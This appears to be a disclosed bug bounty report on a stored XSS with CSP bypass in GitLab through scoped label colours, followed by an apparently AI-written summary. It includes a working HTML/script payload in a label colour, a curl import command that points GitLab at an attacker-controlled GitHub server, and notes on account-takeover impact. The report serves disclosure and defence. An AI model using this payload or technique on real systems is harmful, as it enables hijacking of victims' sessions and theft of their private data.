Bypass: Stored-XSS with CSP-bypass via scoped labels' color
A stored cross-site scripting vulnerability existed in GitLab's handling of scoped label colours, allowing an attacker to inject malicious JavaScript that would execute when a victim viewed the labels page or an issue/merge request referencing the label. The attacker could perform arbitrary actions on behalf of the victim, including accessing private data and causing denial of service.
- Triaged in 14 days
- Fixed in 3 months
- Paid in 43 days
- Disclosed after 5 months
Hi team,
The Stored-XSS with CSP-bypass via labels' color has been mitigated in Gitlab 15.3.2. However it is not enough because it missed the case of scoped label.
I notified this missing in the original report and @galfaro encouraged me to submit a new report about this.
Step to reproduce:
-
To reproduce, we need the following prerequisites:
- Scoped labels are available in Gitlab Premium, so we need a premium account that can be obtained via the free trial
- A Gitlab personal access token. Go here to create a new token with within
apiscope.
-
Github does not allow to create arbitrary label colors. You can find in the attachment a dummy Github server in which we set a new label:
- name:
yvvdwf::label-name(the::to scope the label) - color:
">yvvdwf-label<form class='hidden gl-show-field-errors'><input title='<script>alert(document.domain)</script>'>
- name:
-
To easily reproduce, I'm hosting the dummy Github server at my own VPS,
http://51.75.74.52:11211, I will shut it down once you validated the report. -
Open a new terminal, then run the following command, in which:
$GL_TOKENis the the api token you've created aboveyvvdwf-group-ais a group (or account) name having premium features
For example:
curl -kv "https://gitlab.com/api/v4/import/github" \
--request POST \
--header "content-type: application/json" \
--header "PRIVATE-TOKEN: $GL_TOKEN" \
--data '{
"personal_access_token": "ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"repo_id": "523303538",
"target_namespace": "yvvdwf-group-a",
"new_name": "xss-on-label-color",
"github_hostname": "http://51.75.74.52:11211"
}'
-
After finishing, you can view the list of the label of the imported project. You should see a popup created by this javascript
alert(document.domain) -
Since we can control the label color, we can create a Stored-XSS with CSP-bypass on another place rather than the page that lists the labels, such as, an issue or a merged request of another project by using GitLab-specific references
Example:
- https://gitlab.com/yvvdwf-group-a/xss-on-label-color/-/labels
- https://gitlab.com/yvvdwf-group-a/xss-on-label-color/-/issues/1
Output of checks
This bug happens on GitLab.com
Impact
Stored-XSS with CSP-bypass allows attackers to execute arbitrary actions on behalf of victims at the client side.
Beside that, I would like to clarify some other metrics in the CVSS (the text in bold is copied from your cvss calculator )
AC:L: Stored XSS on a page that's part of the user's normal workflow (issue or merge request page): As I mentioned above the store-XSS is on the issue/MR requests of a project the attack may create an issue/MRPR:N: The attacker is logged out - PR:N - but the victim is logged in: The stored-XSS still exist even the attacker is logged out.C:H: Access tokens, runner tokens. Private repositories: Indeed the XSS allows to execute any Rest API on behalf of the victim to get almost arbitrary private information of the victim (unless his password). It can even perform a fake account-take-over by changing the victim's username and immediately register a new account within the victim's username (as changing username does not require to confirm password)A:L: This Store-XSS with CSP-bypass can easily create DoS at the client side by exhausting CPU and RAM of the victim's Web browser. It can also be used to send as much as possible the requests to the server. The number of requests can increase by the number of victims who are viewing the XSS.
Best regards,
Impact
Stored-XSS with CSP-bypass allows attackers to execute arbitrary actions on behalf of victims at the client side.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application failed to properly sanitise the colour value of scoped labels when rendering them, allowing HTML and JavaScript injection.
What the attacker needed
Premium account (free trial); GitLab personal access token with api scope; Dummy GitHub server
How it was found
- Create a GitLab personal access token with api scope.
- Set up a dummy GitHub server that returns a label with a malicious colour containing script.
- Use the GitLab import API to import a project from the dummy server into a premium namespace.
- View the imported project's labels page to trigger the JavaScript alert.
- Optionally, reference the label in an issue or merge request to trigger the XSS elsewhere.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This report describes a stored cross-site scripting (XSS) bug in GitLab. XSS lets an attacker sneak harmful code into a web page that other people view, so the code runs in their browser as if it came from the trusted site. Here, a specially crafted label colour could contain code that runs when someone looks at the label or an issue that uses it.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.